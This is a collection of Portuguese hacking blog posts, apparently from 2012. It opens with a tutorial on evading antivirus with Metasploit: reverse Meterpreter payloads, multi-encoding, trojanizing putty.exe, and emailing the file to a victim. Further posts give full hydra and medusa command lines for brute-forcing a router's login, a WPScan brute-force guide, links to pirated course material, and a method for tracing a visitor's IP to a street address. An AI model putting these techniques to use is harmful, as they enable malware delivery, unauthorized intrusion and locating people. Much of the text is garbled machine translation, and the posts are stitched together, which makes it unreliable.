sábado, 7 de julho de 2012

Técnicas de evasão Anti Virus

Recentemente eu fui brincar com vários métodos para fugir de antivírus, ao implantar um payload útil a uma vítima, seja por meio Metasploit ou outro.
Parece que os fornecedores de antivírus está direcionando os métodos Metasploit padrão de codificação de payload, por isso temos que ser um pouco mais tortuoso para obter a carga sobre a nossa vítima.
O que eu não vou fazer tho é dar-lhe comandos diretos evitar AV, eu não colocar qualquer uma dessas cargas através Virus Total – isso é com você, eu só estou tentando mostrar-lhe como é possível e você deve experimentar em seus próprios sistemas, e não outra pessoa – afinal, é ilegal.
Existem algumas poucas avenidas eu vou explorar neste post, de padrão de codificação Metasploit thro cargas de codificação multi e IExpress.

Então, para começar vamos dirigir sobre a Metasploit e execute:
msfupdate
para se certificar que tudo está atualizado.
Primeiro vamos conhecer o comando msfpayload:



Isto lhe dará uma lista inteira de todos os Metasploit carga tem em si mas o que interessa é a sintaxe do comando.
Agora vamos criar um paypload que pode enviar para um PC vítima e começar a enviar de volta uma conexão usando uma conexão Meterpreter inversa.



Este comando irá criar um arquivo executável chamado meterpreter.exe na pasta / tmp, este arquivo pode ser enviado para a nossa vítima através de qualquer método que você escolher – e-mail, cópia de arquivos, etc
Para que esta carga para ligar de volta para o nosso atacante espera, precisamos configurar Metasploit para “ouvir” para conexão reversa da carga útil do.
O exploit multi / manipulador no Metasploit é o que está necessárias, isso pode ser feito dentro msfconsole ou usando o comando msfcli, usaremos msfcli.



Então vamos esperar para a volta de conexão da vítima e então disparar uma sessão.
Agora, vai precisar de ter o Payload para um computador da vítima, eu só vou copiar a carga para a vítima, mas você pode usar vários métodos e-mail é uma boa, criar-se um e-mail bonito e anexar o arquivo e tente para obter o usuário a executá-lo.
E aqui você tem uma sessão de Meterpreter.



Você pode pensar que isso é muito fácil, mas confia em mim qualquer vírus decente meia Anti vai pegar até um presente.
OK, então precisamos tentar um pouco mais difícil de contornar as medidas de segurança sobre a vítima, bem Metasploit tem outra ferramenta em ‘Msfencode’ seu armário
Basta digitar msfencode-h em uma concha, como abaixo para ver as suas opções e sintaxe.



Digite msfencode -l, para mostrar a lista de codificadores, estes são os msfencode maneiras diferentes vai “obfusticate” a carga e tornar mais difícil de detectar.

See here for definition of ‘obfusticate’



Então vamos ver um comando para criar a nossa carga “codificado”, vamos escolher um codificador por Rank e escolher o melhor x86/shikata_ga_nai, como a tela diz que este é um codificador polimórfica, por isso deve ser muito bom.
Assim, para criar a payload ‘codificado’.



Este comando procura no início um pouco complicado, então eu vou tentar torná-lo mais compreensível, em primeiro lugar, nós criamos a carga mesmo que antes de usar exatamente o mesmo comando windows.meterpreter msfpayload / reverse_tcp ……….., mas repare em vez de X no final usamos R – para a saída de cru, que nos permite ‘pipe’ o código para o codificador, o | é o ‘pipe’.
Agora, msfencode-t exe-o / tmp/meterpreter01.exe-e x86/shikata_ga_nai-c 5, isto é como se segue: -
-t é o tipo de arquivo para criar, por isso temos exe
-o é o nome do ficheiro de novo
-e é o codificador para usar
-c é as vezes o codificador deve ‘codificam’ o código.
Então, novamente eu copiei a carga nova para a vítima e temos novamente uma sessão Meterpreter.



Este, talvez, pegou pela maioria dos programas antivírus, mas eu consegui usar isto para contornar um cliente muito conhecido AV em numerosas ocasiões.
OK agora vamos ir e ter uma bola com msfencode e criar uma carga que está codificada várias vezes, este comando seguinte é complicado de ver pela primeira vez, mas verifique novamente a desagregação acima do comando msfencode e vai ser mais clara.



Como você pode ver o comando é bastante longo e detalhado a saída é tranquila, mas você pode ver cada etapa do ‘encoding’
Crédito ** para este msfencode multi é devido a Dave Kennedy, achei dentro de sua caixa de ferramentas SET – outra ferramenta fantástica fonte aberta – Veja Aqui
Mais uma vez colocar a carga no cliente e novamente uma sessão Meterpreter aguarda.



Agora este método pode realmente produzir uma carga que é bastante difícil de detectar, eu não estou dizendo que serão passados todos AV, mas bastante.
Tente jogar em torno dos codificadores e também a ordem, isto pode resultar em menos de detecção.
Em seguida uma característica muito elegante de msfencode é sua capacidade de “incorporar” uma carga dentro de um executável, dizer como ‘putty.exe’ ou ‘calc.exe’, este também pode deixar o executável em pleno funcionamento para que a vítima não tem idéia do que está acontecendo.



Existem 2 diferenças com este comando em relação ao anterior,-x / tmp / putty.exe, este diz msfencode tomar putty.exe e incorporar a carga dentro do arquivo, mesmo o tamanho do arquivo é o mesmo ea opção-k, isso mantém o executável funcional.



Nossa vítima inocente executa o arquivo putty.exe, recebe o programa, mas, oh querida, olha outra sessão Meterpreter.



A próxima forma de esconder a nossa carga está usando um programa pouco conhecido chamado IExpess, ele vem com Windows XP e que basicamente faz um instalador executável.
Isso nos permite tomar qualquer programa instalável dizer msn messenger e marca para o fim de nosso executável carga.
O crédito para este vai para a doença e Mubix, aqui está um link para o excelente vídeo feito por sickness Video
Abaixo está um passo screen shot-through de como criar o instalador executável e carga útil.





Auditorias Teste de Invasão para Proteção de Redes Corporativas

Video: http://vimeo.com/37804447


Como foi o webinar?

O objetivo deste webinar foi demonstrar a importância da auditoria do tipo Teste de Invasão na prevenção de incidentes e na proteção contra ataques a redes, sistemas e aplicações web. Durante o webinar foram demonstradas as principais técnicas para auditorias Testes de invasão (penetration tests, ou simplesmente pentests). Essas técnicas são simulações controladas de um ataque real a uma rede, sistema ou ferramenta, visando avaliar a segurança do mesmo. Tais simulações ajudam a identificar pro-ativamente falhas e brechas de segurança que possam ocasionar algum impacto em organizações públicas e privadas.

Estudos de Caso Demonstrados neste Webinar

Durante este webinar foram apresentadas várias ferramentas para determinadas funções, além disso, para cada etapa de um teste de invasão será demonstrado na prática o uso de uma determinada ferramenta, a saber:

Obtenção de Informações - SET

Foi apresentado um exemplo de modelagem e execução de ataque de engenharia social. Ideal para obtenção de informações em testes de invasão.

Varreduras - Nessus

Foi demonstrado um exemplo de configuração de scan, assim como um relatório gerado pela ferramenta.

Invasão - Metasploit Framework

Foi apresentado um estudo de caso de lançamento de exploit a uma máquina vulnerável e obtenção de um shell para execução de código.

Mantendo Acesso - Meterpreter

Foi demonstrada a implantação de um backdoor em uma máquina comprometida.

Cobrindo Rastros - Steghide

Foi apresentada uma maneira de esconder arquivos dentro de outros para evitar a detecção da intrusão.

Este Webinar foi realizado com a mesma infra-estrutura de um treinamento EAD da Academia Clavis. É portanto uma excelente oportunidade para que você conheça o sistema utilizado pela Academia Clavis Segurança da Informação.


fonte: clavis

Invadindo Roteador

primeiro comando

airmon-ng

airmon-ng start wlan0 ng airmon-start wlan0

airodump-ng mon0 -t opn airodump-ng opn mon0-t



ficará assim:









o segundo comando:



ifconfig wlan0 down

iwconfig wlan0 essid default channel 1 iwconfig wlan0 essid um canal padrão

iwconfig ap 00:134:09:32:60 iwconfig ap 00:13: D4: 09:32:60

ifconfig wlan0 up ifconfig wlan0 up



preste atenção na imagem você ira entender!











Verificar a conexão

iwconfig wlan0 iwconfig wlan0









Obter um endereço IP e gateway de seleção

dhclient wlan0 dhclient wlan0

















Antes de mais nada verifique

os logins padroes do roteador









caso não encontre

você vai parar nessa pagina que esta na foto acima

-----------------------------------------------------------------------------



Então caso tenha tentado e não tenha conseguido vamos la...você ira precisar de uma word list eu uso o dicionario do broffice muito bom.

Começando Hydra para quebrar o login router / senha.

-L specifiying the path to login list -L especificando o caminho para login lista

-P specifying the path to password list -P especificando o caminho para a lista de senhas

-t limiting the number of connections T limitar o número de conexões

-e ns to check for no password and to check login as password ns-e para verificar se nenhuma senha e login para verificar como senha

-f to stop when first login/password is found -F para parar quando primeiro login / password é encontrado

-V to show each login/password attempt -V para mostrar cada login / tentativa de senha

http-get to specify the protocol to use http-get para especificar o protocolo a ser usado

/index.asp to point to the webpage it is heading to / Index.asp para apontar para a página que está indo para



hydra 192.168.1.1 -L /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -V http-get /index.asp hydra 192.168.1.1-L / wordlists / login.txt-P / wordlists / ap_password.txt-1 e t-ns-f-V http-get / index.asp

-----------------------------------------------------------------













---------------------------------------------------------------------

Para Medusa

-H para especificar o host

-U to specify path to the login wordlist -U para especificar o caminho para a wordlist login

-P to specify path to password wordlist -P para especificar caminho para wordlist senha

-t to limit the number of connections -T para limitar o número de conexões

-f to stop the test on finding a valid login/password -F para parar o teste em encontrar um login / password

-v for a more verbose output -V verbose para uma saída mais

-M to specify the module to use -M para especificar o módulo para usar

-m to specify the options for the module in use -M para especificar as opções para o módulo em uso



medusa -h 192.168.1.1 -U /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -v 5 -M http -m DIR:GET/index.asp medusa-h 192.168.1.1-U / wordlists / login.txt-P / wordlists / ap_password.txt-1 e t-ns-f-v 5-M m DIR-http: GET / index.asp


















Responder com Citação

Curso pentest OS


Download:

Part 1 - 4shared.com 4shared.com/file/h9UdWUZL/Offensive_Securityiso.html
Part 2 - 4shared.com 4shared.com/file/jryg-Bu5/Offensive_Securityiso.html
Part 3 - 4shared.com 4shared.com/file/js64taH-/Offensive_Securityiso.html

Descobrindo vulnerabilidades em WordPress - WPSCAN

WPScan  é um Scanner de segurança para WordPress escrito em Ruby que tenta encontrar falhas de segurança conhecidas no interior das instalações WordPress. Usados pelos profissionais de segurança ou administradores WordPress para avaliar a postura de segurança de suas instalações de WordPress. A base de código é Open Source e licenciado sob a GPLv3 .
As características incluem:

Enumeração nome de usuário
Quebra de senha fraca (multithreaded)
Enumeração versão
Enumeração de vulnerabilidade (baseado na versão)
Enumeração dos plugin
Enumeração vulnerabilidade dos plugins (baseado na versão)
Outros cheques diversos

Instalação:


Instalando no Backtrack 5, ela é incluida no BT 5 R1



sudo apt-get install libcurl4-gnutls-dev
sudo gem install --user-install mime-types typhoeus xml-simple


Instalando no Debian/Ubuntu



sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby
sudo gem install typhoeus xml-simple



Comandos:



--url ( A url do wordpress para escanear)
--enumerate enumeração ( Tipo de enumeração a fazer, podendo ser , u = usuario, v = versão , t = timthumb , p = plugin)
--wordlist ( Fornecer um arquivo contendo as possiveis senhas para o wpscan tentar o brute force)
--username (brute force apenas com um usuario especifico
--generate_plugin_list ( gera uma lista dos plugins )


Exemplos:



Checagem "Não intrusiva"

./wpscan.rb --url www.exemplo.com


Fazer um ataque de força bruta ultilizando o arquivo darkc0de.lst
./wpscan.rb --url www.exemplo.com --wordlist darkc0de.lst --threads 50


Fazer um ataque de força bruta apenas usando o login "admin"
./wpscan.rb --url www.exemplo.com --wordlist darkc0de.lst --username admin


Gerar uma nova lista de plugin 'mais popular', até 150 páginas ...
./wpscan.rb --generate_plugin_list 150


Enumerar plugins instalados
./wpscan.rb --url www.exemplo.com --enumerate p

Pentest no próprio pc com máquinas virtuais não funcionam!

PROVA DE QUE CONFIAR EM MÁQUINAS VIRTUAIS PARA PENTEST É SUICÍDIO PARA O PENTESTER PROFISSIONAL!

Senhores, boa noite, em plena madrugada vou escrever explicando e provando pela experiência que pentest se deve fazer de computadores de fora da rede totalmente.

Muitos hackerS e professores, erroneamente ensinam que para saber se seu computador está protegido, você deve instalar uma máquina virtual, instalar um sistema operacional e instalar neste ferramentas hackers para fazer o pentest, ou então instalar uma distribuição de pentest como o backtrack que eu inclusive sou fan e só uso ele. Basta testar com máquina virtual e está tudo perfeito. Será?

Bem, vamos comparar a experiência que fiz e tive e tirem suas conclusões:

Pentest usando máquina virtual com backtrack 4 instalado.

Ferramentas hackers usadas:

Nessus
Nmap
Nbtscan
SMtpscan
DNSscan
Super Scan
entre outros!

Foi desativado o serviço de netbios, icmp, bloqueando com o comodo firewall que é o melhor firewall do mundo na minha opnião para home users todas as conexoes de entrada.
Instalado IDS valhala honey pot e SAX2 (excelente honeypot paga). Entre outras configurações de segunrança para o windows 7 temos a seguir:

O resultado é que mesmo, com todo este arsenal, o IDS identificou o scanning dos scanners
Os scanners conseguiram se conectar as portas, mesmo estando ativado no firewall para bloquear todas e quais conexões de entrada. No meu caso apareceu aberta a porta 135 do serviço rpc e outras também com serviço rpc. identificado o sistema operacional windows pelos scanners.

Agora, usando um outro computador, mas que está na mesma rede, usando um roteador, O RESULTADO, FOI O MESMO!

Agora, olha que fantástico!


Conectando meu computador alvo em meu modem.


E o computador para fazer o pentest em uma rede wireless. A máquina de ataque está em uma rede diferene aqui amigos!


TEMOS UMA ATAQUE REAL AQUI. NÃO É REDE VIRTUALIZADA E NÃO ESTÁ NA MESMA REDE.

Sabem qual foi o resultado?

Não consegue scannear com nmap, nem com nessus, nem com nada!
Não consegue se conectar absolutamente a nenhuma porta.
Não consegue saber qual sistema operacional está funcionando!

O IDS nem identificou nada, por que não houve conexão!

O computador atacado estava com as mesmas configurações de antes. E nada do ataque funcionar! Veja os procedimentos que usei para defender meu sistema!


O firewall comodo, bloqueando todas as conexões de entrada além de outras regras mais rígidas.
Serviçoes de acesso remoto foram desativados.
Serviços de netbios desativados. Compartilhamento de arquivos desativado.
Em fim, nada de identificação.

Os scanners apenas conseguem saber se estou online, só isso, mas nada!


Desativando as defesasFazendo o ataque com o computador vulnerável para testar a efetividades de ferramentas sendo usadas sozinhas como o IDS.

Desativei o firewall, e ativei os serviços de net bios e todos os outros de acesso remoto e deixei só o IDS SAX2 e o valhala.

Consegui então scannear as portas 135 e outras de serviço rpc.

O VALHANA HONEYPOT, NÃO CONSEGUIU IDENTIFICAR O ATAQUE.

O SAX2 HONEYPOT CONSEGUIU! Parabéns!

A conclusão que podemos tirar disso tudo é que, o valhala, identifica ataques de máquinas virtuais, mas de outro computador, se você for atacado com stealth scan, ele não pega, e você naõ saberá que está sendo invadido.

Muitas pessoas ficam iludidas com a eficiência do valhala por que TESTAM COM MÁQUINA VIRTUAL PARA SABER SE ELE FUNCIONA. Mas na vida real é diferente, a pergunta que devemos fazer é. será que em um ataque real de outra rede, meu ids vão funcionar? Meu firewall vai bloquear?

O SAX2 está de parabéns conseguiu identificar, mas quando eu coloquei o firewall para bloquear todas as conexões de saída, ele nem identificou por que o nmap e nessus não conseguem scannear nenhuma porta!

Com este relato inédito talvez, vocês aprendizes e até experientes, sabem que para ver realmente se tudo está protegendo, e se o seu pc ou rede está funcionando, É NECESSÁRIO FAZER O PENTEST DE UMA REDE TOTALMENTE DIFERENTE DA SUA, DE OUTRO COMPUTADOR!

Por que é necessário simular um ataque real para testar sua segurança!

Muitos vídeos no you tube os ataques são à máquinas virtuais, mas na realidade, sem ser com máquinas virtuais não funcionam!

E as vezes um tipo de defesa de firewall funcionam na simulação de máquinas virtuais, mas quando o ataque é feito de outra rede os firewalls não funcionam! Ou o mesmo acontece para IDS, como aconteceu com o valhala que não identificou o ataque onde as portas scannear apareceram no scanner nmap e nessus, mas o valhala não identificou. E eu testei com scan invisível, com agressivo que é facilmente identificável. Mas nada do valhala funcionar!

OUTROS DETALHES ALARMANTES!

Configurei o FIREWALL DO WINDOWS, DA SYMANTEC OU NORTON, E OUTROS
Programei eles para bloquear todas as conexões de entrada.

Fiz o mesmo ataque e:

O nmap e nessus identificou as portas!
COMO É QUE VOCÊ MEU AMIGO PAGA R$ 100 POR ANO POR UMA DROGA DESSA!

O comodo firewall que é grátis, só permitiu que o nmap e nessus identificasse meu computador alvo como online, só isso, nada de nenhuma porta, nada de nenhum serviço, nada de identificação de sistema operacional algum. FANTÁSTICO SIMPLESMENTE É GRATUITO!


CONCLUSÃO

Se quer ser um hacker, e fazer pentest, compre e tenha dois computadores e use redes totalmente isoladas umas das outras. NÃO USE MÁQUINAS VIRTUAIS POR QUE O TESTE PODE SER ENGANOSO! Me agradeçam pois muitos iniciantes pensam que máquinas virtuais simulam igualmente um ataque real. TOTALMENTE ERRADO ISSO, E TEM GENTE ENSINANDO ISSO POR TODO O LUGAR! EU JÁ CAI NESTE CONTO, MAS AGORA ANIQUILAR ESTA MIRAGEM QUE ENGANA VÁRIOS PROFISSIONAIS DE SEGURANÇA!

Faça o pentest, para testar todos as ferramentas.
Eu scannei com o firewall ativado para testar o firewall.
Depois sem o firewall para saber o que acontecia, mas com o ids ligado para ver se ele funciona mesmo, E o valhala, por exemplo não passou no teste e eu não uso aquilo mais!
Scanneei de novo, sem nada ativo para saber que portas aparecem , para saber se algum serviço que desativei, aparece no scan, POIS ASSIM SABERIA QUE NÃO FUNCIONOU A DESATIVAÇÃO E ENTÃO RESOLVERIA O PROBLEMA.

Então, senhores, queREm ser um pentesters? TENHA DOIS PCS, E DUAS REDES ISOLADAS ONDE VOCÊ USA CADA COMPUTADOR EM CADA UMA ISOLANDO-OS, PARA ATACAR DE VERDADE E COM BRUTALIDADE. SÓ ASSIM, PODERÁ GARANTIR A SEGURANÇA!

NÃO SIMULE NADA, ATAQUE DE VERDADE! MÁQUINAS VIRTUAIS E USAR A MESMA REDE MASCARAM O PENETRATION TEST!

Amigos hackers, é com enorme prazer que lhes passo esta informação pois compartilhar o bem com vocês é a minha missão.

KIT treinamento Pentest BT - 8 horas de vídeo e 3 livros +400 páginas cada

Profissionais da área DE SEGURANÇA de extrema qualidade e singularidade.

Segue um kit de treinamento para PENETRATION TEST com mais de 200 ferramentas de hacking avançadas usando o LINUX BACKTRACK.

Este kit vem com os seguintes materiais inclusos e se encontra compactado em rar no 4shared.

http://www.4shared.com/file/_QzE-qwe/Teste_de_Penetrao_Avanado_-_8_.html 

CONTEÚDO:

Vídeo cursos da Offensive Security referente ao Backtrack e suas ferramentas de penetration test. CURSO EM VÍDEO DE PENETRATION TEST.

PLAYER SWF INCLUSO PARA RODAR OS VÍDEOS.

3 VÍDEO CURSOS TOTALIZANDO CERCA DE 8 HORAS DE TREINAMENTOS COM AS MAIS AVANÇADAS TÉCNICAS DE INVASÃO USANDO O BACKTRACK!

Livros: Cada um com mais de 400 páginas cada! É para nunca mais você reclamar de falta de material de estudo de alta qualidade! Para mais de 200 ferramentas de hacking do LINUX BACKTRACK!

BackTrack-4-Assuring-Security-by-Penetration-Testing
Penetration Test with BackTrack Ebook
Offensive-security-labs - PRÁTICA DO LABORATÓRIO PARA PENTEST



TUDO AQUI É PRÁTICO, POUCO TEORIA E MUITA PRÁTICA É ASSIM QUE SE APRENDE!

Isto é um kit de treinamento que nenhum outro curso de hacker se compara! Eu nunca encontrei nada melhor do que isso compartilhado.

TUDO EM INGLÊS.

PenTest (Teste de Vulnerabilidade)

O que pretendo discutir com os nossos colegas é quais são as ferramentas e métodos que utilizam para enumeração ,scanning e testes de vulnerabilidades em redes, sejam essas ferramentas para uso online ou em nossa maquina.
1. Penetration testing

Penetration-test é o método usado para testar e descobrir vulnerabilidades numa rede e a possibilidade de ver como estas podem ser exploradas ou corrigidas.

Para ser feito um teste de penetração são contratados profissionais (ou pessoas internas à rede) para explorar a rede, da mesma forma que um cracker faria e em seguida são entregues os resultados indicando todas as falhas encontradas e como corrigi-las.

Para se fazer um teste de penetração é necessário passar diversas fases, para as quais são utilizadas diversas ferramentas. As fases serão indicadas nos pontos seguintes.
1.1- Reconhecimento da rede

A enumeração consiste no reconhecimento da rede e dos sistemas atingíveis. Os resultados esperados são: nomes de domínios, nomes de servidores, informação do ISP, endereços IP envolvidos e também um mapa da rede. Inclui ainda informação de registros de domínios para os servidores.

Para fazer o reconhecimento da rede, podem ser utilizadas diversas ferramentas e técnicas, conforme o objectivo do ataque. Indico abaixo algumas ferramentas, que poderão ser usadas no reconhecimento.

• Nslookup – funciona em Windows e Linux. Serve para mapear endereços IP para um determinado domínio.

• Whois –Nos dá toda a informação sobre um domínio registado (entidade que registou, endereço físico, contactos, domain servers, etc)

• ARIN

• Dig – serve para perguntar a um servidor DNS informação acerca de outras coisas, por exemplo, a versão do name server que a empresa está a utilizar…

• Engenharia social

Web site alvo
1.2-Scanning

Nesta fase de um teste de penetração é a identificação de portas abertas e serviços a correr, na máquina(s) ou rede alvo, chegando assim a enumeração de vulnerabilidades no alvo.

Também nesta fase do teste podemos incluir diversas ferramentas e tecnicas, conforme o objectivo do teste e a configuração da máquina/rede alvo. Ferramentas deste tipo foram analisadas no ponto 3 deste mesmo relatório.

As ferramentas mais utilizadas para fazer scanning, são:

• telnet –Serve para mostrar informação sobre uma aplicação ou serviço (versão, plataforma.

• nmap – port scanner

• hping2 – port scanner

• netcat – port scanner

• ping – testa conectividade IP

• traceroute – Ele conta os “hops” da rede, desde a máquina em que é executado até à máquina/sistema alvo.

• queso – OS fingerprinting.
1.3- Teste de vulnerabilidade

Os testes de vulnerabilidades consistem na determinação de que buracos de segurança e vulnerabilidades podem ser aplicadas à rede/máquina alvo. Quem efectuar o teste vai tentar identificar nas máquinas na rede alvo todas as portas abertas, sistemas operativos e aplicações a serem executadas; incluindo o sistema operativo, patches aplicados e service packs aplicados.

Nas etapas anteriores, são identificadas as máquinas que estão ligadas e que portas e serviços têm disponíveis.

Existe, na geral quatro categorias de vulnerabilidades que podem ser encontradas:

• Os bugs específicos do sistema operativo, exploits, vulnerabilidades e buracos de segurança

• As fraquezas no firewall e routers, entre diversas marcas

• A exploração de scripts de web server

• As partilhas e confianças exploráveis entre sistemas e pastas.

O scan de vulnerabilidades pode ser feito de várias formas, que indicarei nos pontos seguintes.
1.3.1- Ferramentas e Manuais

As análises das vulnerabilidades de um computador pode ser feita manualmente, com base na informação recolhida nos pontos anteriores. Ou seja, são percorridas as listas de vulnerabilidades existentes, em busca de alguma que possa existir para cada uma das aplicações instaladas na máquina.
1.3.2- Nessus

O Nessus é a melhor ferramenta para inventariar vulnerabilidades com código fonte disponível.

Instalação

Esta ferramenta é constituida por duas partes: o cliente e o servidor, que podem ou não, ser instaladas em máquinas diferentes.
A instalação é bastante simples:

• executa-se a script de instalação
• adiciona-se um utilizador

Utilização

O Nessus tem de ter o servidor instalado numa máquina *IX, mas o cliente pode ser executado em Windows ou em *IX.

O cliente desta ferramenta, pode correr em modo gráfico ou em modo de comando. O modo de comando tem a vantagem de poder ser incluído em scripts, o modo gráfico tem a vantagem de ser facilmente seleccionável quais os testes de vulnerabilidade que são executados.
1.3.3- SARA-Security Auditor’s research assistant

O SARA é um scanner de rede, que procura serviços e os analisa.
Esta ferramenta produz relatórios em diversos formatos: html, XML, interactivos e CSV, importável para folhas de cálculo.

Instalação

A instalação do SARA é muito simples: basta descomprimir o tgz, e executar ./configure, make, make install.

Relativamente à configuração, podem fazer-se algumas configurações específicas, mas deixando tudo o que vem por default, obtêm-se resultados interessantes.

Utilização

O SARA pode ser executado em três modos: interactivo (interface web), linha de comando, ou modo remoto.. No caso presente, optei pelo modo interactivo.

O modo remoto pode ser útil, no caso de se desejar ter o servidor de SARA numa determinada máquina e um cliente gráfico, na própria máquina.

Este modo tem algumas limitações: só é permitido um utilizador de cada vez, um teste não pode ser interrompido, o servidor não foi feito para ficar permanentemente à espera de pedidos, é preciso ter preocupações com a segurança.

Pode ser definido o tipo de “ataque” que é feito à máquina/rede em causa. Pode variar entre cinco níveis de severidade.
1.3.4- Comparação entre detectores de vulnerabilidades

A detecção manual de vulnerabilidades é, com certeza a que permite mais pormenor, mas é muito difícil de ser implementada com perfeição.

Relativamente às duas ferramentas utilizadas, o SARA é, sem dúvida, mais rápida, mas é também a menos eficiente. Além de apresentar resultados muito menos detalhados e não apresentar formas de resolução das vulnerabilidades (como o Nessus), apresenta falsos positivos.

Relativamente à forma de apresentação de resultados, o SARA é muito inferior. O servidor tem ainda problemas de funcionamento, no sentido que entre dois testes, se não for removido, não funciona corretamente.

Tem no entanto, uma funcionalidade interessante, que é ir guardando e apresentando em paralelo os resultados de testes anteriores.

Esta característica pode ser interessante, do ponto de vista de armazenamento de informação sobre todo o parque de servidores de uma empresa, por exemplo.

Rastreando IP´s


1º - Passo

Rastreando ip

Achei esses links interessantes, eles mostram a Cidade/País/CEP de um IP informado.
E claro, não é 100% correto mas dá pra ter uma idéia legal do endereço.

Então vamos há algumas explicações dos passos para rastrear um IP.
Primeiro é bom distinguir IPs nacionais dos internacionais, no Brasil a faixa inicial geralmente são:
200.x.x.x e 201.x.x.x, não é regra, há alguns com 207.x.x.x por exemplo mas não é tão comum.
É necessário saber isto para agilizar sua busca, pois não adianta procurar no sistema de consulta de CEPs um IP lá da China.
Mas como cérebro foi feito pra lembrar a programação da TV e não números, aqui vai a solução: http://www.maxmind.com/app/lookup
Informe o IP, e será mostrado de qual ele pertence.

______________________________

Agora entendendo um pouco de como os sistemas de buscas relacionam CEPs com IPs:

Bom tudo começa das estruturas físicas da rede, físico me refiro a fios, postes, caixas telefônicas, localização do provedor, etc. Quando você recebe um IP, seu provedor gera ele apartir do seu CEP(não é bem um cálculo com seu CEP e sim questão de proximidades).

Explico: Supomos que você recebeu o IP 200.196.196.5 e seu vizinho recebeu 200.150.30.2, sendo que ele mora no mesmo CEP que vc, o que aconteceria é que o ping(tempo para recebimento de pacotes) demoraria(suposição) uns 150ms(isso é lento, sim eu amo parenteses :lol.

O que na realidade deveria ser uns 70ms mais ou menos.
Então o provedor lhe atribui IPs conforme seu CEP, sendo assim seu vizinho provavelmente receberá um IP semelhante ao seu, pelo menos na teoria seria assim, ao menos que se escasse os IPs semelhantes, mas aí é outro papo.
Entendido isso de CEP x IP, vamos a forma de rastreá-los.

Há um projeto nacional chamado IPGeo mantido pelo Portal RankBrasil, que mantêm um banco de dados com uma relação imensa de IPs -> CEPs. Bom ao certo de onde eles colhem essas informações eu não sei, suponho que seja algo vinculado aos provedores e ao Registro.br.

Então vamos lá, acesse o site: http://www.cadari.com.br/
E informe o IP que deseja consultar, como exemplo vou usar o meu atual: IP 200.203.3.62
O que vai acontecer, o sistema irá sempre mostrar uma série de resultados, pois são os IPs mais semelhantes ao seu, caso encontre
exatamente o IP informado, ele irá ser mostrado no topo da lista.

Resultado obtido:

Citação:
Proximidades de IP com CEPs confirmados

200.203.3.62 95020180 Caxias do Sul RS
200.203.3.63 95180000 Farroupilha RS
200.203.3.63 95700000 Bento Gonçalves RS
200.203.3.64 95020320 Caxias do Sul RS
200.203.3.64 95020460 Caxias do Sul RS
200.203.3.64 95097000 Caxias do Sul RS
200.203.3.65 95010100 Caxias do Sul RS
Próximo passo, como localizou meu IP exato, procurei no site dos correios o CEP que me apresentou.
http://www.correios.com.br/servicos/cep/cep_cep.cfm



Sim, o endereço tá correto mesmo, aqui da empresa.
Ah detalhe bastante importante, MEU IP NÃO É FIXO NEM EMPRESARIAL.

Agora acontece também de não mostrar o IP informado e sim só os das proximidades, então caso saiba mais informações(como a cidade por exemplo) sobre o IP que está consultando, lhe ajudará a filtrar os resultados mostrados.
Acontece também de não mostrar corretamente a cidade, acredito que ocorre pois o banco de dados pode estar desatualizado, sendo que é feito a nova verificação a cada 24h, então caso tenha certeza que o resultado mostrado está incorreto, anote o IP e consulte novamente dentro de algumas horas ou no dia seguinte.
Básicamente para IPs nacionais seria isso, como eu falei não é 100% mas ajuda.
Ainda em buscas no Brasil temos outro recurso que é o Registro.br(www.registro.br).
Já essa alternativa é mais adequada de quando estamos consultando IPs(fixos) de servidores, os quais estão registrados um dominío, um IP fixo empresarial, etc.
Caso consultar um IP dinâmico qualquer, provavelmente os resultados serão os dados do companhia de telecomunicações da região, como Brasil Telecom.
Exemplo, consultei pelo meu IP:

Citação:
...
inetnum: 200.203.0/17
asn: AS8167
ID abusos: BTA17
entidade: Brasil Telecom S/A - Filial Distrito Federal
documento: 076.535.764/0326-90
responsável: Brasil Telecom S. A. - CNRS
endereço: SEPS 702/092 Cj. B - Bl B 3 andar Gen. Alencastro, S/N,
endereço: 70390-025 - Brasilia - DF
telefone: (61) 415-4201 []
ID entidade: BTC14
ID técnico: BTC14
inetrev: 200.203.0/24
servidor DNS: ns3.brasiltelecom.net.br
...
Agora outra consulta, mas pelo IP 200.176.3.142
Citar
Citação:
...
inetnum: 200.176/16
asn: AS11706
ID abusos: ABT82
entidade: Terra Networks Brasil S.A.
documento: 091.088.328/0003-29
responsável: Hostmaster Terra Networks
endereço: João Manoel, 90,
endereço: 90010-030 - Porto Alegre - RS
telefone: (51) 32844000 []
ID entidade: MPL4
ID técnico: MPL4
inetrev: 200.176.0/18
servidor DNS: ns1.terra.com.br
...
Como deu pra notar, é o IP do terra.com.br, então essa é a diferença de um IP registrado.
______________________________

Mas e no caso de um IP que não seja do Brasil ?
Bom aí se fizermos pelo método anterior não teremos resultados precisos. Para isso há outro site americano, MaxMind
que disponibiliza recursos semelhantes ao IPGeo.
Acesse: http://www.maxmind.com/app/lookup_city

E a teoria é a mesma, porém como é outro país o sistema de caixa postal (CEP) será diferente.

Então como saber onde procurar, aqui: http://www.embassyworld.com/Zip_Codes/

há uma listagem de serviços e sites que buscam códigos postais de diversos países.

Vamos a um exemplo na prática!
Enquanto estava no painel de administração do Fanta Hackers observei que tinha um visitante com IP do exterior, esse: 65.214.39.151

Fiquei curioso e resolvi rastrear ele, vamos aos passos:

- Descobrindo País/Cidade/Estado

Resultado:





- Como ninguém nasceu de susto, vamos confirmar realmente se o MaxMind trouxe informações boas. Para isso consultaremos também no Whois (http://lacnic.net/cgi-bin/lacnic/whois?lg=EN) que é o substituto do Registro.br mas para consultar internacionais.

Então tudo certo, os dados estão corretos mesmo:


Citação:
OrgName: AskJeeves, Inc.
OrgID: C00555427
Address: 5858 Horton Street
City: Emeryville
StateProv: CA
PostalCode: 94608
Country: US
Bom essa foi fácil, como deu pra notar é um IP empresarial no qual já nos mostrou inclusive o nome da organização AskJeeves

- Uma consulta rápida no oráculo pela empresa e chegamos ào google
- Pra quem deduziu, descobrimos já quem é nosso visitante. Como trata-se de um portal de buscas, o nosso convidado é um WebBot que esta catalogando os dados contidos no Fanta.

Mas vamos continuar a busca:

- Acesse https://maps.google.com/ e informe o nome da empresa AskJeeves
- Altere o modo de visualização para Hybrid(imagem de satélite + nomeclatura de ruas)

- Ao lado, irá nos mostrar uma listagem de diversas filiais da empresa, como já sabemos que a desejada encontra-se em Emeryville - California, selecionamos esta.

